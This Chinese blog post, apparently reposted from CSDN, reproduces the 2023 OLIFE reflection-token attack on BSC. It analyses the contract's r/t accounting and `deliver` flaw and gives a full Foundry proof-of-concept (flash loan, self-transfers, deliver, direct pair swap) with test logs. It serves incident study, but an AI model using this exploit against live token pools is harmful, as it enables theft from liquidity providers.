[区块链安全-DEFI攻击复现]001-20230419 OLIFE

[区块链安全-DEFI攻击复现]001-20230419 OLIFE


2023年4月19日, BSC链上的 OLIFE合约遭受了攻击,大概遭受了 32 WBNB的损失,约 10.6K美元。

攻击介绍

2023年4月19日,@BeosinAlert发出警告,BSC链上的OLIFE遭受攻击,造成大约32 WBNB的损失,攻击哈希为0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a


攻击分析

依旧使用phalcon进行分析。

攻击者0xfb8ef8de849079559801bff8848178640cdd41b7调用攻击合约,先通过闪电贷DPPOracle进行借贷969 WBNB,使用pancakeSwap进行兑换,兑换时会出现判断,从而有一定的税率会通过_sendToCharity发送给_charity地址(即达到捐款目的)。

因为是大额买进,池子都会给买空了。交易对里的OLIFE仅剩下5583143203784247(精度为9),而攻击者却有了128100544485915659个。

但如果现在买回来,就是纯亏手续费了。

但是攻击者反而重复给自己转账,自己的通证数量反而越来越少了。

OLIFE合约中定义:
    uint256 private _tTotal = 260000000 * _DECIMALFACTOR;
    uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
    
因为是有收取手续费 11%,当然由于分红的存在,到手肯定大于89%
    uint256 private     _TAX_FEE = 300; // 3% BACK TO HOLDERS
    uint256 private    _BURN_FEE = 200; // 2% BURNED
    uint256 private _CHARITY_FEE = 600; // 6% TO CHARITY WALLET

一开始看,不了解机制,感觉有点疑惑,,这一堆r、t都是什么。后来想了想,复现、审计就是要从头开始。所以将对OLIFE合约展开分析。

重要参数如下:

    mapping (address => uint256) private _rOwned; //@todo 存储用户的rOwned 
    mapping (address => uint256) private _tOwned; //@todo 存储用户的tOwned 
    mapping (address => mapping (address => uint256)) private _allowances; (授权,不关心)
    mapping (address => bool) private _isExcluded; (黑名单)
    mapping (address => bool) private _isCharity;(白名单)
    address[] private _excluded; (黑名单列表)
    address[] private _charity; (白名单列表)
    
    uint256 private constant _MAX = ~uint256(0); (type(uint256).max
    uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
    uint256 private constant _GRANULARITY = 100;
    
    uint256 private _tTotal = 260000000 * _DECIMALFACTOR; //发行总量
    uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); // @todo
    
    uint256 private _tFeeTotal; // 手续费总量
    uint256 private _tBurnTotal; // 销毁总量
    uint256 private _tCharityTotal; // 捐献(白名单)总量

分析一些函数,按在合约中出现的顺序:

  • deliver
    
   @todo 现在还不知道deliver有什么用
    function deliver(uint256 tAmount) public { // tAmount 就是 tokenAmount
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }
    
    接下来看看_getVaules(tAmount)
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(tAmount, _TAX_FEE, _BURN_FEE, _CHARITY_FEE); // 按照比例计算 分红、销毁、捐献的量
        uint256 tTransferAmount = getTTransferAmount(tAmount, tFee, tBurn, tCharity); // 减去损耗量
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rFee) = _getRBasics(tAmount, tFee, currentRate);
        uint256 rTransferAmount = _getRTransferAmount(rAmount, rFee, tBurn, tCharity, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tCharity);
    }
    
    计算rSupply与tSupply之比 
    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
    
    获取当前供应,除去黑名单中
    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); // 防止下溢
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); // @todo
        return (rSupply, tSupply);
    }
    
    按比例通缩 Rvalue
    function _getRBasics(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        return (rAmount, rFee);
    }
    
    // 计算出R的值
    function _getRTransferAmount(uint256 rAmount, uint256 rFee, uint256 tBurn, uint256 tCharity, uint256 currentRate) private pure returns (uint256) {
        uint256 rBurn = tBurn.mul(currentRate);
        uint256 rCharity = tCharity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);
        return rTransferAmount;
    }
    
    
  • transfer
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        // Remove fees for transfers to and from charity account or to excluded account
        bool takeFee = true;
        if (_isCharity[sender] || _isCharity[recipient] || _isExcluded[recipient]) {
            takeFee = false;
        }

        if (!takeFee) removeAllFee();
        
        if (sender != owner() && recipient != owner())
            require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if (!takeFee) restoreAllFee();
    }
    
    
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
        uint256 rBurn =  tBurn.mul(currentRate);
        uint256 rCharity = tCharity.mul(currentRate);     
        _standardTransferContent(sender, recipient, rAmount, rTransferAmount);
        _sendToCharity(tCharity, sender);
        _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    // 这里rTotal为什么每次都扣的多一点?
    function _reflectFee(uint256 rFee, uint256 rBurn, uint256 rCharity, uint256 tFee, uint256 tBurn, uint256 tCharity) private {
        _rTotal = _rTotal.sub(rFee).sub(rBurn).sub(rCharity);
        _tFeeTotal = _tFeeTotal.add(tFee);
        _tBurnTotal = _tBurnTotal.add(tBurn);
        _tCharityTotal = _tCharityTotal.add(tCharity);
        _tTotal = _tTotal.sub(tBurn);
    }
   

问题在这,当汇率rate变动时,会有balanceOfswap中的reserve不再匹配,后续可以通过POC进行验证

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
    
    余额实际通过rAmount除以兑换比例
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }
    

这又会导致什么后果呢?在swap中,是使用 balance1 = IERC20(_token1).balanceOf(address(this));来查询余额,不匹配的话就会产生差异,看上去就像已经进行传入一样,实际上是没有进行的。如果是用PancakeRouter交换时,就必须要transferFrom,这个就是无法进行的。

function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
        require(amount0Out > 0 || amount1Out > 0, 'Pancake: INSUFFICIENT_OUTPUT_AMOUNT');
        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
        require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');

        uint balance0;
        uint balance1;
        { // scope for _token{0,1}, avoids stack too deep errors
        address _token0 = token0;
        address _token1 = token1;
        require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
        if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
        if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
        if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25)));
        uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');
        }

        _update(balance0, balance1, _reserve0, _reserve1);
        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
    }

POC 编写

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 10.6K US$
// Event : Olife Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a
// Attacker : 0xfb8ef8de849079559801bff8848178640cdd41b7
// Attack Contract : 0xa9de288d61a7ed99cdd1109b051ef402d85a6b91
// Vulnerable Contract : 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa (OLIFE Contract)
// Vulnerable Contract : 0x915c2dfc34e773dc3415fe7045bb1540f8bdae84 (Pancake Swap Contract)
// Attack Tx : https://bscscan.com/tx/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a

// @Info
// FlashLoan Attack, Price manipulation

// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1648520494516420608

address constant DPPORACLE_ADDRESS = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant OLIFE_ADDRESS = 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa;
address constant SWAP_ADDRESS = 0x915C2DFc34e773DC3415Fe7045bB1540F8BDAE84;
address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);

uint256 constant BORROW_AMOUNT = 969 ether;
uint256 constant OLIFE_DECIMAL = 9;

contract OlifeHacker is Test {
    function setUp() public {
        vm.createSelectFork("bsc",27470678); // Go back before hacking time
        console.log("start with block %d",27470678);
        console.log("OlifeHacker address %s",address(this));
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        Exploit exploit = new Exploit();
        exploit.attack();
        console.log("finish hacking...");
        emit log_named_decimal_uint("[End] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
    }
}

contract Exploit is Test{

    address owner;

    constructor() {
        owner = msg.sender;
        console.log("Exploit address %s",address(this));
    }

    function attack() external {
        IDPPORACLE(DPPORACLE_ADDRESS).flashLoan(BORROW_AMOUNT, 0, address(this), "1");
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external{
        console.log("receiving flashLoan");
        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);

        uint112 balanceOfReserve;
        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        IERC20(WBNB_ADDRESS).approve(PANCAKE_ROUTER,type(uint256).max);

        console.log("Swap WBNB for OLIFE");
        address[] memory paths = new address[](2);
        paths[0] = WBNB_ADDRESS;
        paths[1] = OLIFE_ADDRESS;

        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            BORROW_AMOUNT,1,paths,address(this),block.timestamp *2
        );

        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);


        for (uint i =0; i<27; i++){
            IERC20(OLIFE_ADDRESS).transfer(address(this),IERC20(OLIFE_ADDRESS).balanceOf(address(this)));
        }
  
        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);

        console.log("deliver to reduce ramount");
    
        uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this)) * 8 / 100 ;

        IOLIFE(OLIFE_ADDRESS).deliver(amount);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
     
        (,uint target,) = IPancakePair(SWAP_ADDRESS).getReserves();
        IPancakePair(SWAP_ADDRESS).swap(0,target - 5 ether,address(this),"");

        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        WBNB(WBNB_ADDRESS).transfer(msg.sender, BORROW_AMOUNT + 1 ether);
        WBNB(WBNB_ADDRESS).transfer(owner, WBNB(WBNB_ADDRESS).balanceOf(address(this)));

    }

    fallback() external payable {

    }
}


/* -------------------- Interface -------------------- */
interface IDPPORACLE{
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address _assetTo,
        bytes calldata data
    ) external;
}

interface IOLIFE {
    function deliver(uint256 tAmount) external;
}

攻击结果如下:

  start with block 27470678
  OlifeHacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBNB Balance: 0.000000000000000000
  Exploit address 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  receiving flashLoan
  [Hacking] Exploit WBNB Balance: 969.000000000000000000
  [Hacking] Pair OLIFE Reserve: 161703370.635833872
  [Hacking] Pair OLIFE Balance: 161703370.635833872
  Swap WBNB for OLIFE
  [Hacking] Pair OLIFE Reserve: 5583143.203784247
  [Hacking] Pair OLIFE Balance: 5583143.203784247
  [Hacking] Exploit OLIFE Balance: 148760274.602488242
  [Hacking] Pair OLIFE Reserve: 5583143.203784247
  [Hacking] Pair OLIFE Balance: 169245382.288347219
  [Hacking] Exploit OLIFE Balance: 193934561.084078243
  deliver to reduce ramount
  [Hacking] Pair OLIFE Balance: 1153758146.350903074
  [Hacking] Exploit WBNB Balance: 996.286315327689621042
  finish hacking...
  [End] Attacker WBNB Balance: 26.286315327689621042

这里参数都是怎么选择的呢?

我们的目的其实就是要将Pair OLIFE Balance变得越大越好,但这不代表给自己transfer越多越好,因为这里的函数似乎不是一个线性的过程。我们观察一下:

tokenFromReflection(_rOwned[account]) (_rOwned[account]没有变化)
= rAmount.div(currentRate); (rAmount是固定的) 就希望currentRate越小越好
= rAmount.div(rSupply.div(tSupply);)  因为transfer是rTotal每次都要扣得更多

因为rSupply,tSupply一定要满足
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);

假设55次transfer,分别为:

  self-transfering &d times 0
  [Hacking] Pair OLIFE Balance: 5965834.964275918
  self-transfering &d times 1
  [Hacking] Pair OLIFE Balance: 6377175.352939124
  self-transfering &d times 2
  [Hacking] Pair OLIFE Balance: 6819817.480508067
  self-transfering &d times 3
  [Hacking] Pair OLIFE Balance: 7296766.874557534
  self-transfering &d times 4
  [Hacking] Pair OLIFE Balance: 7811449.715751772
  self-transfering &d times 5
  [Hacking] Pair OLIFE Balance: 8367798.552698146
  self-transfering &d times 6
  [Hacking] Pair OLIFE Balance: 8970361.033315312
  self-transfering &d times 7
  [Hacking] Pair OLIFE Balance: 9624439.311732244
  self-transfering &d times 8
  [Hacking] Pair OLIFE Balance: 10336270.881927976
  self-transfering &d times 9
  [Hacking] Pair OLIFE Balance: 11113266.178492898
  self-transfering &d times 10
  [Hacking] Pair OLIFE Balance: 11964325.230947141
  self-transfering &d times 11
  [Hacking] Pair OLIFE Balance: 12900266.402288403
  self-transfering &d times 12
  [Hacking] Pair OLIFE Balance: 13934417.267808595
  self-transfering &d times 13
  [Hacking] Pair OLIFE Balance: 15083445.406949223
  self-transfering &d times 14
  [Hacking] Pair OLIFE Balance: 16368553.396109279
  self-transfering &d times 15
  [Hacking] Pair OLIFE Balance: 17817243.096601386
  self-transfering &d times 16
  [Hacking] Pair OLIFE Balance: 19466000.377918240
  self-transfering &d times 17
  [Hacking] Pair OLIFE Balance: 21364527.767709884
  self-transfering &d times 18
  [Hacking] Pair OLIFE Balance: 23582704.382275693
  self-transfering &d times 19
  [Hacking] Pair OLIFE Balance: 26222627.677106660
  self-transfering &d times 20
  [Hacking] Pair OLIFE Balance: 29440797.501546225
  self-transfering &d times 21
  [Hacking] Pair OLIFE Balance: 33492371.063995032
  self-transfering &d times 22
  [Hacking] Pair OLIFE Balance: 38829181.178559406
  self-transfering &d times 23
  [Hacking] Pair OLIFE Balance: 46350584.748422002
  self-transfering &d times 24
  [Hacking] Pair OLIFE Balance: 58199913.781211012
  self-transfering &d times 25
  [Hacking] Pair OLIFE Balance: 81421932.530785891
  self-transfering &d times 26
  [Hacking] Pair OLIFE Balance: 169245382.288347219
  self-transfering &d times 27
  [Hacking] Pair OLIFE Balance: 8565626.216194936
  self-transfering &d times 28
  [Hacking] Pair OLIFE Balance: 8601640.017488151
  self-transfering &d times 29
  [Hacking] Pair OLIFE Balance: 8633974.947322905
  self-transfering &d times 30
  [Hacking] Pair OLIFE Balance: 8662979.820952042
  self-transfering &d times 31
  [Hacking] Pair OLIFE Balance: 8688975.875408847
  self-transfering &d times 32
  [Hacking] Pair OLIFE Balance: 8712257.789790435
  self-transfering &d times 33
  [Hacking] Pair OLIFE Balance: 8733094.948348327
  self-transfering &d times 34
  [Hacking] Pair OLIFE Balance: 8751732.863050564
  self-transfering &d times 35
  [Hacking] Pair OLIFE Balance: 8768394.688696260
  self-transfering &d times 36
  [Hacking] Pair OLIFE Balance: 8783282.777911670
  self-transfering &d times 37
  [Hacking] Pair OLIFE Balance: 8796580.235477638
  self-transfering &d times 38
  [Hacking] Pair OLIFE Balance: 8808452.441568123
  self-transfering &d times 39
  [Hacking] Pair OLIFE Balance: 8819048.521808558
  self-transfering &d times 40
  [Hacking] Pair OLIFE Balance: 8828502.748805391
  self-transfering &d times 41
  [Hacking] Pair OLIFE Balance: 8836935.865172499
  self-transfering &d times 42
  [Hacking] Pair OLIFE Balance: 8844456.322295393
  self-transfering &d times 43
  [Hacking] Pair OLIFE Balance: 8851161.432322344
  self-transfering &d times 44
  [Hacking] Pair OLIFE Balance: 8857138.433324438
  self-transfering &d times 45
  [Hacking] Pair OLIFE Balance: 8862465.469373661
  self-transfering &d times 46
  [Hacking] Pair OLIFE Balance: 8867212.488577338
  self-transfering &d times 47
  [Hacking] Pair OLIFE Balance: 8871442.062986563
  self-transfering &d times 48
  [Hacking] Pair OLIFE Balance: 8875210.134855232
  self-transfering &d times 49
  [Hacking] Pair OLIFE Balance: 8878566.694038540
  self-transfering &d times 50
  [Hacking] Pair OLIFE Balance: 8881556.391445157
  self-transfering &d times 51
  [Hacking] Pair OLIFE Balance: 8884219.093443830
  self-transfering &d times 52
  [Hacking] Pair OLIFE Balance: 8886590.382011086
  self-transfering &d times 53
  [Hacking] Pair OLIFE Balance: 8888702.005222202
  self-transfering &d times 54
  [Hacking] Pair OLIFE Balance: 8890582.282456105

在26次以后,就开始断崖式下跌,重新缓慢增长,这是因为此时有rSupply > _rTotal.div(_tTotal),所以我们选择26,但此时似乎还不够?

[Hacking] Exploit OLIFE Balance: 193934561.084078243

Failing tests:
Encountered 1 failing test in src/test/POCYoung/001-Olife.sol:OlifeHacker
[FAIL. Reason: Pancake: K] 

也就是此时balance还不够大,那还有其他办法吗?有的,我们可以用deliver函数,单方面减少rtotal。但还是要找到最佳参数:

在26次后进行逐渐`deliver`
        uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this))/100;
        for (uint i=1; i< 100; i++){
            console.log("deliver &d times",i);
            IOLIFE(OLIFE_ADDRESS).deliver(amount);
            emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        }

只要不突变,自然会越大越好。经过测试,选定当前值的8/100,因此POC完成。(其实有点尴尬,测试时发现如果小批量deliver要99次百分之一,这是因为rate也是变化的,延缓了增长,如果一次deliver的话只要8%就够了)。

总结

没啥说的 开发者没有保证同比增长减少,而黑客肯定也是做了多次尝试(多次链上交互可以推出对应的值),的确做了很好的准备工作。

猜你喜欢

转载自blog.csdn.net/weixin_43982484/article/details/130397987